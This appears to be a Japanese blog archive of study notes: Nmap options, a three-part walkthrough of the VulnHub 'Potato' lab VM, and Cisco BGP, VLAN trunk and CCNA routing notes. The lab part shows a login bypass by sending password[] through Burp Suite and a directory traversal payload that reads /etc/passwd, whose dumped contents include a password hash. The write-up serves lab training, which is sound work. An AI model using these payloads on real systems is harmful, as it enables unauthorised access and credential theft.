Nmap のまとめ
Nmapのまとめ
Nmapとは
ネットワーク探索やセキュリティ監査を目的とした、オープンソースのネットワークスキャナ
主な機能
1,ホスト検出
ネットワーク上のアクティブなホストを特定します。
2,ポートスキャン
ホスト上で開いているポート、閉じているポート、フィルタリングされているポートを確認します。
3,サービス検出
実行中のサービスやそのバージョンを特定します。
4,OS検出
ホストが使用しているオペレーティングシステムや、そのバージョンを推測します。
ローカルNWのSCAN
コマンド
・スキャン対象のIPアドレス範囲を指定
・-sn (旧 -sP): ホスト検出のみを行い、ポートスキャンを行いません。
nmap -sn 192.168.56.0/24
標的サーバーに対してのSCAN
・-Pn 全てのホストを「オンライン」と仮定してスキャン
・-sS 高速かつステルス性のあるポートスキャン
・-sV 開いているポートで実行中のサービスやバージョン情報を特定
・-o 標的ホストのOS情報を取得(可能であればバージョンも推定
nmap -Pn -sV -sS -O 192.168.56.105

オプション一覧

タイミングテンプレート

ハッキングラボの作り方をやってみる POTATO③
前回はFTPで接続してファイルを獲得しました
今回はHTTPに対し得ての攻撃を行います
HTTPに対する一般的な攻撃アプローチ
1. ApacheやNginxnなどのHTTPサーバープログラムに対する攻撃
2. WordPressやDrupal などよく使われているWebアプリに対する攻撃
3. 独自Webアプリに対する攻撃
1.HTTPへ接続
ブラウザを開きpotatoのIPアドレスにアクセス

Gobuster
ターゲットIPに対して自分の辞書を利用してターゲットの階層を特定する
gobuster dir -u 192.168.56.102 -w /usr/share/wordlists/dirb/common.txt


2.Burp Suite
Burp Suite(バープスイート) は、Webアプリケーションのセキュリティテストを行うための統合ツールセット

オープンブラウザを開く

192.168.56.102/admin にアクセスし
Interceptis on にする

適当なユーザーとパスワードを入力するここでは
ユーザをadmin
パスワードをtest
にする

username=admin&password[]=testS ←[]を追加
出力された文字を書き換えてForwardボタンを押す


ディレクトリートラバーサル攻撃
Webアプリケーションのセキュリティの弱点を悪用して、本来アクセスできないファイルやディレクトリに不正アクセスする攻撃手法
potatoは
../../../../../etc/passwd
で入れる

log_test1 の部分を
file=../../../../../etc/passwd
![]()
に書き換えてForwardを押す
ブラウザに移動するとパスワードリストが表示されている

Contenu du fichier ../../../../../etc/passwd : root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin florianges:x:1000:1000:florianges:/home/florianges:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false proftpd:x:112:65534::/run/proftpd:/usr/sbin/nologin ftp:x:113:65534::/srv/ftp:/usr/sbin/nologin webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
パスワードリストを獲得しました今回はここまで
ハッキングラボの作り方をやってみる POTATO②
前回はNMAPを利用した、ポートスキャンを行い
ssh http ftpなどのポートが開いていることを確認した
今回はそのポートへの攻撃を行っていく
1.FTPにアクセス
ポートSCANの情報からAnonymousFTPであることがわかる

※AnoymousFTPはユーザー名「anonymous」でログインできる パスワードは何でもいい
FTPに接続
ftp 192.168.56.102 2112
lsコマンドで同階層のファイルやフォルダを確認する

上記から
welcome.msg
index.php.bak
があることがわかった
2つのデータの内容を取得する。
get index.php.bak
get welcom.msg

kaliに戻りデータを確認する
□welocme.msg
file welcome.msg
more welcome.msg

□index.php.bak
file index.php.bak
cat index.php.bak

上記よりデフォルトパスワードがpotato であることがわかる
<?php $pass= "potato"; //note Change this password regularly ←パスワード
ユーザーはadminであることもわかる
if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
setcookie('pass', $pass, time() + 365*24*3600);
}else{
今回はここまで
ハッキングラボの作り方をやってみる POTATO①
ハッキングラボの作り方 完全版
今回からハッキングラボの作り方を進めていき、学習した内容をまとめていこうと思います。
また、本書ではPrrotOSで進められますが私はKalilinuxが好きなので可能な限りkalilinuxで進めていこうと思います。
本書では座学という項目がありますが今回は実際のターゲットマシーンのインストール完了から進めていきます。
1.マシーンの準備
下記よりPotatoのダウンロード
Potato
URL https://www.vulnhub.com/entry/potato-1,529/

Potatoとkaliともにネットワーク設定をホストオンリーアダプターに設定
アダプター1以外は設定する必要はなし

2.両マシーンのネットワークの確認
まずは、kalilのIPアドレスを確認する
ターミナルを開き
ip a

netdiscover を利用してホストをスキャンする
sudo netdiscover -i eth0 -r 192.168.56.0/24

192.168.56.1 ホストOS
192.168.56.100 DHCPサーバー
192.168.56.102 Potate OS
確認のためping を打っておく
ping 192.168.56.102
3.偵察 NMAP
□Nmap の使い方
オプションコマンド
- デフォルトカテゴリーのスクリプトスキャン → -sC
- ソフトウェア名とバージョンを表示 → -sV
- スキャン前に疎通確認なし → -Pn
- 全ポート対象 ※デフォは一般的なポートのみサポートするため → -p-
- スキャン結果を指定ファイルに出力 → -oN
Potato をスキャンする
sudo nmap -sC -sV -Pn -p- 192.168.56.102 -oN portscan_result.txt

22/tcp → SSH
80/tcp → HTTP
2112/tcp → FTP
が開いていることが確認できる次から空いているポートに接続していく
BGP ルーター 1対1 構成
BGPの基本設定
設定イメージ

・インターフェース設定
R1への設定
interface GigabitEthernet8 ip address 100.0.0.1 255.255.255.0 duplex auto speed auto interface Vlan1 ip address 192.168.0.1 255.255.255.0
R2への設定
interface GigabitEthernet8 ip address 100.0.0.2 255.255.255.0 duplex auto speed auto interface Vlan1 ip address 172.16.0.1 255.255.255.0
・BGPの設定
R1への設定
router bgp 100 bgp log-neighbor-changes network 192.168.0.0 neighbor 100.0.0.2 remote-as 200
R2への設定
router bgp 200 bgp log-neighbor-changes network 172.16.0.0 mask 255.255.255.0 neighbor 100.0.0.1 remote-as 100
確認コマンド
show ip bgp show ip bgp neighbors show ip bgp summary show ip route
・show ip route
R2#show ip route
Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - IS-IS inter area, * - candidate default, U - per-user static route
o - ODR, P - periodic downloaded static route, H - NHRP, l - LISP
a - application route
+ - replicated route, % - next hop override
・show ip bgp
R2# show ip bgp
BGP table version is 5, local router ID is 172.16.0.1
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter,
x best-external, a additional-path, c RIB-compressed,
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found
Network Next Hop Metric LocPrf Weight Path
*> 172.16.0.0/24 0.0.0.0 0 32768 i
*> 192.168.0.0 100.0.0.1 0 0 100 i※cisco 891を使用した場合、ルーターに端末およびL2SWなどが接続されていなければルーティングテーブルに記載が乗らない
CISCOスイッチのトランクポートVLAN設定
Cisco 機器でのトランクポート接続設定

■SW1 への設定
・VLANの設定
interface Vlan10 ip address 192.168.10.251 255.255.255.0 interface Vlan20 ip address 192.168.20.251 255.255.255.0
・インターフェースへの設定
interface GigabitEthernet0/1 switchport access vlan 20 switchport mode access interface GigabitEthernet0/8 switchport trunk encapsulation dot1q switchport trunk allowed vlan 10,20 switchport mode trunk
■SW2への設定
・VLANの設定
interface Vlan10 ip address 192.168.10.250 255.255.255.0 interface Vlan20 ip address 192.168.20.250 255.255.255.0
・インターフェースへの設定
interface GigabitEthernet0/1 switchport access vlan 10 switchport mode access interface GigabitEthernet0/8 switchport trunk encapsulation dot1q switchport trunk allowed vlan 10,20 switchport mode trunk
CCNA ダイナミックルーティング まとめ
■ダイナミックルーティングの種類
・RIP(Routhing Information Protocol )
・OSPF(Open Shortest Path First)
・EIGRP(Enhanced Interior Gateway Routing Protocol)
・BGP(Border Gate Protocol)
・IS-IS(Intermediate System to Intermediate System)
■各ルーティングプロトコルで共通の用語
・メトリック
・アドバタイズ
・メトリック
宛先NWまでの距離を表す
ルーティングをする際に最もメトリックの値が小さいルートが優先され、ルーティングテーブルに登録される
ルーティングごとのメトリックスの値
RIP → ホップ数(ルータをまたぐ個数)
OSPF → 帯域幅から計算するコスト
EIGRP → 帯域幅、遅延、信頼性、負荷、MTUを使う複合メトリック
・アドバタイズ
ルートの情報を隣接ルータに通知
ルーティングプロトコルごとにアドバタイズの方法は異なる
■ルーティングプロトコルの分類
大きく2つに分類される
・IGP(Interior Gateway Protocol)
・EGP(Exterior Gateway Protocol)
・IGP
AS(自立システム:Autonomous System)で経路情報を交換するためのルーティングプロトコル
ASとは組織が運用しているルータやネットワークをひとまとめにしてASという単位で考えられる
ISPもこのASにあたる
RIP、OSPF、EIGRP が分類される
・EGP
AS間での経路情報をやり取りすためのプロトコル
BGPに含まれる
BGPとはインターネット上で利用されるルーティングプロトコル
■アルゴリズムによる分類
・ディスタンスベクタ型
・拡張ディスタンスベクタ型
・リンクステート型
・ディスタンスベクタ型
ルーティングテーブルの情報を交換する
距離と方向をもとにベルマンフォード法というアルゴリズムを使って宛先までの最適ルートを選ぶ
距離(ディスタンス)と方向(ベクトル)が基になる
RIPが分類される
コンバージェンス(ルート情報が行き渡るまで)は遅く、ルーターへの負荷は小さい
・拡張ディスタンスベクタ型(ハイブリット型)
アルゴリズムDUALを使用
IGRPEが分類される
コンバージェンス(ルート情報が行き渡るまで)は早く、ルーターへの負荷はリンクステートよりも小さい
・リンクステート型
ルータが自身のインターフェースの情報(リンクステート)を交換する
SPFアルゴリズム
ルーティングテーブル自体ではなく、テーブルを作成するための計算材料を交換するイメージ
OSPFとIS-ISが分類される
コンバージェンス(ルート情報が行き渡るまで)は早く、ルーターへの負荷は大きい